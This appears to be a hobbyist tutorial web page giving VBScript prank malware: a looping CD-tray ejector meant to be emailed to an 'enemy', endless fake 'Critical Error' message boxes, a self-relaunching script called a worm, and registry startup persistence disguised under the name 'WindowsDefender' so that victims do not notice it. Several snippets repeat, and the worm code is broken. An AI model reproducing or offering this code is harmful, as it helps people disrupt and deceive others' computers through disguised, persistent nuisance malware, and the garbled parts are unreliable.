Print PDF
Favorite
Email
visual basic scripting is scripting that has the potential to do any physical function that a computer has. i shall be showing two tricks of vbs
vbs files by the way, are saved as w/e.vbs (in the sense of w/e meaning whatever you want, not literally w/e). they similar to batch files, just different functions
vbs files by the way, are saved as w/e.vbs (in the sense of w/e meaning whatever you want, not literally w/e). they similar to batch files, just different functions
Remove these ads by
Signing UpStep 1Continous disk opener
this will be a continuous disk opener, open notepad and write:
do
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
loop
save as w/e.vbs. send as an email attachment, and laugh at your enemy hahaha
do
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
loop
save as w/e.vbs. send as an email attachment, and laugh at your enemy hahaha
| « Previous Step | Download PDFView All Steps | Next Step » |
do
lol=msgbox("Critical Error",16,"ERROR")
loop
for a continuous error message
Set WshShell = WScript.CreateObject("WScript.Shell")
moo1=Wscript.ScriptFullName
'WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
---------------
adds it to the registry for start up
Set WshShell = WScript.CreateObject("WScript.Shell")
moo1=Wscript.ScriptFullName
WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
----------------------------------
the above code will automatically add this to the registry for startup, most non techie people would find it mega hard to find it, plus i named the key WindowsDefender so its unlikly it will get picked up quickly as a false registry entry
Set x = CreateObject(Wscript.Shell)
x.Run C:\WINDOWS\forzing.vbs
For i = 1 To 3
i = 2
Next
Just save it to C:\WINDOWS and name it 'forzing.vbs'
It is a vbs worm!
sub pwn()
lol = msgbox ("Critical error!" ,16, "ERROR")
pwn()
end sub
pwn()